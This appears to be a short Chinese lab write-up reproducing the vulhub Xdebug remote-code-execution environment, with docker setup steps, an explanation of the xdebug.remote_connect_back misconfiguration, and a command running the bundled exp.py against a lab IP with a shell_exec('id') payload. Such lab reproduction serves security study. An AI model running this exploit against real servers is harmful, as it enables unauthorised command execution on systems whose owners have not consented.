前言
因为自己在调试php的时候就是使用的xdebug,不过没有开启xdebug.remote_connect_back = 1
,这个是给远程调试使用,可以使用任意主机进行调试,如果不配置的话仅通过指定ip才可以调试,比较安全
环境搭建
启动docker
systemctl start docker
获取vulhub
git clone --depth=1 https://github.com.cnpmjs.org/vulhub/vulhub.git
进入对应目录
cd vulhub/php/xdebug-rce/
启动容器
docker-compose up -d
查看容器
docker ps
在kali执行exp
exp的位置在vulhub/php/xdebug-rce/
目录下
python3 exp.py -t http://192.168.164.162:8080/index.php -c 'shell_exec('id');'
因为xdebug本身就是一个调试程序,对get参数或者cookie的执行参数进行验证,如果验证通过就会进行调试,这里因为没有指定远端主机,所以任意主机都可以对php进行调试,即执行命令。
以上为个人理解,如果有错误欢迎大家指出。